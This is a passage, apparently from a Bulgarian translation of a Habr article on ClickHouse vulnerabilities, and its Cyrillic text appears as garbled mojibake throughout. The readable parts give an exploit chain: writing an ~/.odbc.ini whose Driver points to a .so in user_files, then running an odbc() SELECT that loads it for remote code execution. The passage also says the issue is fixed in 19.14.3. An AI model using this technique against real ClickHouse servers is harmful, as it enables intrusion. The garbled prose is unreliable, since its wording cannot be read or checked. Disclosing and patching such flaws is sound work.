, ΡΠ°ΠΊΠ° ΡΠ΅ Π²Π΅ΡΠ΅ Π½Π΅ Π΅ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎ Π΄Π° ΡΠ΅ ΠΏΠΎΡΠΎΡΠΈ ΠΏΡΡΡ Π½Π° Π΄ΡΠ°ΠΉΠ²Π΅ΡΠ° ΠΎΡ Π·Π°ΡΠ²ΠΊΠ°ΡΠ°. ΠΠΎ ΠΌΠΎΠΆΠ΅ Π»ΠΈ Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π» Π΄Π° ΠΏΠΈΡΠ΅ Π² Π½Π°ΡΠ°Π»Π½Π°ΡΠ° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ΠΎΠΏΠΈΡΠ°Π½Π°ΡΠ° ΠΏΠΎ-Π³ΠΎΡΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ?
ΠΠ΅ΠΊΠ° ΡΡΠ·Π΄Π°Π΄Π΅ΠΌ ΡΠ°ΠΉΠ» ~/.odbc.ini
ΡΡΡ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ ΠΊΠ°ΡΠΎ ΡΠΎΠ²Π°:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
ΡΠ»Π΅Π΄ ΡΠΎΠ²Π° ΠΏΡΠΈ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°ΡΠ° ΡΠ΅ Π±ΡΠ΄Π΅ Π·Π°ΡΠ΅Π΄Π΅Π½Π° test.so
ΠΈ ΠΏΠΎΠ»ΡΡΠΈ RCE (Π±Π»Π°Π³ΠΎΠ΄Π°ΡΡ
Π’Π΅Π·ΠΈ ΠΈ Π΄ΡΡΠ³ΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΡΠ° ΠΊΠΎΡΠΈΠ³ΠΈΡΠ°Π½ΠΈ Π²ΡΠ² Π²Π΅ΡΡΠΈΡ 19.14.3 Π½Π° ClickHouse. ΠΠΎΠ³ΡΠΈΠΆΠ΅ΡΠ΅ ΡΠ΅ Π·Π° Π²Π°ΡΠΈΡΠ΅ ClickHouse ΠΈ ZooKeepers!
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: www.habr.com